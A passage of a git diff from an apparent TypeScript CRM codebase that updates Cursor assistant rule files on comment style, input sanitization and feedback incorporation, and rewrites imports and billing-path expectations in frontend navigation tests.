diff --git a/.cursor/rules/code-style.mdc b/.cursor/rules/code-style.mdc index d2f548e3df..8b2440fea2 100644 --- a/.cursor/rules/code-style.mdc +++ b/.cursor/rules/code-style.mdc @@ -70,6 +70,7 @@ const processUserData = ( ## Comments ```typescript +// ✅ Use short-form comments, NOT JSDoc blocks // ✅ Explain business logic and non-obvious intentions // Apply 15% discount for premium users with orders > $100 const discount = isPremiumUser && orderTotal > 100 ? 0.15 : 0; @@ -77,14 +78,27 @@ const discount = isPremiumUser && orderTotal > 100 ? 0.15 : 0; // TODO: Replace with proper authentication service const isAuthenticated = localStorage.getItem('token') !== null; -/** - * JSDoc for public APIs - * @param basePrice - The base price before modifications - * @returns The final price after tax and discount - */ +// ✅ Multi-line comments use multiple // lines (NOT /** */ blocks) +// Calculates the total price after applying tax and discount +// Returns the final price that should be charged to the customer const calculateTotalPrice = (basePrice: number): number => { // Implementation }; + +// ❌ AVOID JSDoc blocks - use short comments instead +/** + * This style is NOT preferred in this codebase + */ +``` + +## Security Patterns +```typescript +// ✅ CSV Export: Always apply security first, then formatting +const safeValue = formatValueForCSV(sanitizeValueForCSVExport(userInput)); + +// ✅ Input validation before processing +const sanitizedInput = validateAndSanitize(userInput); +const result = processData(sanitizedInput); ``` ## Error Handling diff --git a/.cursor/rules/feedback-incorporation.mdc b/.cursor/rules/feedback-incorporation.mdc new file mode 100644 index 0000000000..2fd0b44baa --- /dev/null +++ b/.cursor/rules/feedback-incorporation.mdc @@ -0,0 +1,100 @@ +--- +description: Guidelines for incorporating user feedback and improving cursor rules +globs: [] +alwaysApply: true +--- +# Feedback Incorporation Guidelines + +## Post-Interaction Reflection + +After each coding session or significant interaction, the AI should: + +### 1. Reflect on User Feedback +- **Identify patterns** in user corrections or suggestions +- **Note recurring issues** that could be prevented with better rules +- **Recognize gaps** in current cursor rules or guidelines + +### 2. Suggest Rule Improvements +When user provides feedback that reveals a pattern or preference: + +```typescript +// Example feedback patterns to watch for: +// - "We don't use useEffect, handle state changes in event callbacks" +// - "We don't use JSDoc blocks, prefer // comments" +// - "Always use named exports, never default exports" +// - "We prefer functional components over class components" +// - "Use event handlers over useEffect for state updates" +``` + +### 3. Proactive Rule Suggestions +At the end of interactions, suggest: + +```markdown +## 💡 Suggested Cursor Rule Updates + +Based on your feedback today, I recommend adding/updating these rules: + +**Code Style Rule Update:** +- Add preference for // comments over JSDoc blocks +- Enforce named exports only (no default exports) + +**React Guidelines Update:** +- Document preference for event handlers over useEffect +- Add functional components only rule + +Would you like me to help incorporate these into your cursor rules? +``` + +## Implementation Process + +### When to Suggest Updates +- User corrects the same type of mistake multiple times +- User explains a codebase-specific preference +- User points out missing functionality or incomplete implementations +- User provides context about existing patterns not captured in rules + +### How to Present Suggestions +1. **Summarize the pattern** observed from feedback +2. **Propose specific rule language** that would prevent the issue +3. **Explain the benefit** of codifying this knowledge +4. **Ask for confirmation** before implementing + +### Rule Categories to Consider +- **Code Style**: Formatting, naming, comment styles, export patterns +- **React Patterns**: Hook usage, component structure, state management +- **Architecture**: File organization, import patterns, component composition +- **Testing**: Test structure, naming, coverage expectations +- **Performance**: Optimization patterns, anti-patterns to avoid + +## Example Feedback Integration + +```markdown +## Today's Learning: React State Management Patterns + +**User Feedback Received:** +- "We don't use useEffect, handle state changes in event callbacks" +- "We don't use JSDoc blocks, prefer // comments" +- "Always use named exports, never default exports" + +**Proposed Rule Additions:** +```typescript +// ✅ React State Updates - Use event handlers, not useEffect +const handleButtonClick = () => { + setData(newData); // Direct state update in event handler +}; + +// ❌ Avoid useEffect for state updates +// useEffect(() => { setData(newData); }, [trigger]); + +// ✅ Named exports only +export const UserComponent = () => {}; +export const useUserData = () => {}; +``` + +**Benefits:** +- Prevents useEffect overuse and related bugs +- Ensures consistent export patterns across codebase +- Documents preferred React patterns for the team +``` + +This approach helps the AI learn from each interaction and continuously improve the development experience. \ No newline at end of file diff --git a/packages/twenty-front/src/hooks/__tests__/useNavigateApp.test.tsx b/packages/twenty-front/src/hooks/__tests__/useNavigateApp.test.tsx index a3c904e544..3ef38ac742 100644 --- a/packages/twenty-front/src/hooks/__tests__/useNavigateApp.test.tsx +++ b/packages/twenty-front/src/hooks/__tests__/useNavigateApp.test.tsx @@ -2,7 +2,7 @@ import { renderHook } from '@testing-library/react'; import { MemoryRouter, useNavigate } from 'react-router-dom'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; import { useNavigateApp } from '~/hooks/useNavigateApp'; jest.mock('react-router-dom', () => ({ diff --git a/packages/twenty-front/src/hooks/__tests__/useNavigateSettings.test.tsx b/packages/twenty-front/src/hooks/__tests__/useNavigateSettings.test.tsx index 86efdab739..24b41e1fbc 100644 --- a/packages/twenty-front/src/hooks/__tests__/useNavigateSettings.test.tsx +++ b/packages/twenty-front/src/hooks/__tests__/useNavigateSettings.test.tsx @@ -1,7 +1,7 @@ import { renderHook } from '@testing-library/react'; import { MemoryRouter, useNavigate } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; jest.mock('react-router-dom', () => ({ diff --git a/packages/twenty-front/src/hooks/__tests__/usePageChangeEffectNavigateLocation.test.ts b/packages/twenty-front/src/hooks/__tests__/usePageChangeEffectNavigateLocation.test.ts index afcf4796e3..a0f4a4ae93 100644 --- a/packages/twenty-front/src/hooks/__tests__/usePageChangeEffectNavigateLocation.test.ts +++ b/packages/twenty-front/src/hooks/__tests__/usePageChangeEffectNavigateLocation.test.ts @@ -1,11 +1,10 @@ import { useIsLogged } from '@/auth/hooks/useIsLogged'; import { useDefaultHomePagePath } from '@/navigation/hooks/useDefaultHomePagePath'; import { useOnboardingStatus } from '@/onboarding/hooks/useOnboardingStatus'; +import { AppPath } from '@/types/AppPath'; import { useIsWorkspaceActivationStatusEqualsTo } from '@/workspace/hooks/useIsWorkspaceActivationStatusEqualsTo'; import { useParams } from 'react-router-dom'; import { useRecoilValue } from 'recoil'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { OnboardingStatus } from '~/generated/graphql'; @@ -86,7 +85,7 @@ const testCases: { verifyEmailRedirectPath?: string; }[] = [ { loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.Verify, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined }, { loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -96,7 +95,7 @@ const testCases: { { loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.SignInUp, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined }, { loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -106,7 +105,7 @@ const testCases: { { loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: '/plan-required' }, - { loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.Invite, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined }, { loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: '/create/workspace' }, { loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: '/create/profile' }, @@ -116,7 +115,7 @@ const testCases: { { loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: '/plan-required' }, - { loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.ResetPassword, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined }, { loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: '/create/workspace' }, { loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: '/create/profile' }, @@ -127,7 +126,7 @@ const testCases: { { loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, { loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, verifyEmailRedirectPath: '/nextPath?key=value', res: '/nextPath?key=value' }, - { loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.VerifyEmail, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, verifyEmailRedirectPath: '/nextPath?key=value', res: undefined }, { loc: AppPath.VerifyEmail, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined }, { loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, @@ -138,7 +137,7 @@ const testCases: { { loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.CreateWorkspace, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: undefined }, { loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -148,7 +147,7 @@ const testCases: { { loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.CreateProfile, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: undefined }, @@ -158,7 +157,7 @@ const testCases: { { loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.SyncEmails, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -168,7 +167,7 @@ const testCases: { { loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.InviteTeam, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -178,7 +177,7 @@ const testCases: { { loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: undefined }, - { loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.BookCallDecision, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: undefined }, { loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -188,7 +187,7 @@ const testCases: { { loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: undefined }, - { loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.BookCall, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: undefined }, { loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -198,7 +197,7 @@ const testCases: { { loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: undefined }, - { loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.PlanRequired, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -208,7 +207,7 @@ const testCases: { { loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: undefined }, - { loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.PlanRequiredSuccess, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -218,7 +217,7 @@ const testCases: { { loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.Index, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -228,7 +227,7 @@ const testCases: { { loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath }, { loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.TasksPage, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -238,7 +237,7 @@ const testCases: { { loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined }, { loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.OpportunitiesPage, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -248,7 +247,7 @@ const testCases: { { loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined }, { loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.RecordIndexPage, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -260,7 +259,7 @@ const testCases: { { loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: AppPath.NotFound, objectNamePluralFromParams: 'non-existing-object', objectNamePluralFromMetadata: 'existing-object' }, { loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.RecordShowPage, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -280,7 +279,7 @@ const testCases: { { loc: AppPath.SettingsCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined }, { loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.DevelopersCatchAll, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -290,7 +289,7 @@ const testCases: { { loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined }, { loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.Authorize, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -300,7 +299,7 @@ const testCases: { { loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined }, { loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.NotFoundWildcard, 